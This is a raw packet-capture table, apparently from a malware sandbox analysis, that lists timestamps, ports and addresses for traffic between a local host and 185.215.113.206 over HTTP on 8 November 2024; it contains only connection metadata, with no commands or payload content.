Nov 8, 2024 15:20:38.968627930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:38.968704939 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:38.973511934 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:38.978507996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.274873018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.274957895 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.290535927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.295407057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.511390924 CET	49673	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:20:39.577991009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.578030109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.578072071 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.578109026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.579725981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.584697008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.792649031 CET	49672	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:20:39.867463112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867477894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867497921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867537975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867549896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867571115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867667913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.867805958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.867861986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867875099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:39.867916107 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.870449066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:39.875225067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.156706095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.156927109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:40.185159922 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:40.185213089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:40.190084934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.190126896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.190180063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.190232038 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.190241098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.190279007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.991018057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:40.991082907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.276984930 CET	49677	80	192.168.2.8	192.229.211.108
Nov 8, 2024 15:20:41.291697979 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.296662092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576453924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576494932 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576510906 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576524973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576539993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576697111 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.576697111 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.576868057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576884985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576905012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576909065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.576921940 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.576947927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.576978922 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.577708960 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.577723026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.577737093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.577760935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.577780962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.639348984 CET	443	49703	23.206.229.226	192.168.2.8
Nov 8, 2024 15:20:41.639615059 CET	49703	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:20:41.740303040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740325928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740375042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740462065 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740477085 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740587950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.740587950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.740587950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.740587950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.740592957 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740621090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.740637064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.740667105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.741712093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.741727114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.741741896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.741753101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.741756916 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.741779089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.741823912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.742371082 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.742386103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.742400885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.742413998 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.742417097 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.742428064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.742433071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.742448092 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.742466927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.743566036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743586063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743599892 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743619919 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.743626118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743640900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743657112 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.743680954 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.743968964 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743983030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.743997097 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:41.744014025 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:41.744044065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.106435061 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.106458902 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.106471062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.106486082 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.106585026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.106642962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107151031 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107167006 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107180119 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107191086 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107193947 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107209921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107224941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107234001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107239008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107274055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107287884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107678890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107700109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107713938 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107722998 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107728958 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107743979 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107743979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107759953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107769966 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107773066 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107788086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107805967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.107817888 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107836962 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.107856035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108630896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108644962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108658075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108676910 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108679056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108691931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108700991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108707905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108722925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108736038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108753920 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108755112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108769894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108782053 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108786106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108798981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108808041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108813047 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108828068 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.108844042 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108854055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.108890057 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109563112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109579086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109592915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109606981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109615088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109622002 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109637022 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109637976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109653950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109668016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109668970 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109683990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109699011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109699011 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109713078 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109714031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109729052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109743118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109751940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109759092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.109791040 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.109812021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.113738060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.113794088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.132510900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.132535934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.132610083 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.132648945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137119055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137134075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137147903 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137161970 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137176037 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137186050 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137255907 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137255907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137271881 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137285948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137294054 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137301922 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137317896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137324095 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137336969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137356043 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137370110 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137373924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137396097 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137408018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137412071 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137423038 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137438059 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137438059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137454033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137461901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137470961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137485981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137501001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137501001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137516022 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137516975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137531996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137546062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137546062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137559891 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137574911 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137576103 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137589931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.137590885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137613058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.137634993 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138183117 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138199091 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138211966 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138225079 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138226032 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138240099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138247967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138267994 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138283014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138290882 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138320923 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138394117 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138407946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138422012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138437033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138439894 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138451099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138458967 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138467073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138475895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.138478041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138529062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.138535976 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139065027 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139077902 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139100075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139107943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139116049 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139121056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139130116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139146090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139158010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139158010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139172077 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139189005 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139192104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139223099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139254093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139269114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139285088 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139291048 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139301062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139305115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139323950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139331102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139338970 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139341116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139354944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139364958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139383078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139400959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139422894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139439106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139453888 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139462948 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139470100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.139482975 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139502048 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139520884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.139996052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.140012026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.140024900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.140043020 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.140050888 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.140074968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.140120983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.140161991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.142632008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.142647982 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.142685890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.142719984 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.142940044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.142972946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.142986059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.142987013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143002987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143011093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143019915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143029928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143059969 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143062115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143064022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143079996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143095016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143105030 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143126965 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143137932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143256903 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143270969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143297911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143310070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143357038 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143397093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143467903 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143487930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143501043 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143517017 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143548965 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143827915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143867016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143877983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143893003 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143912077 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143937111 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.143970966 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.143985033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.144001007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.144015074 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.144017935 CET	49705	80	192.168.2.8	185.215.113.206
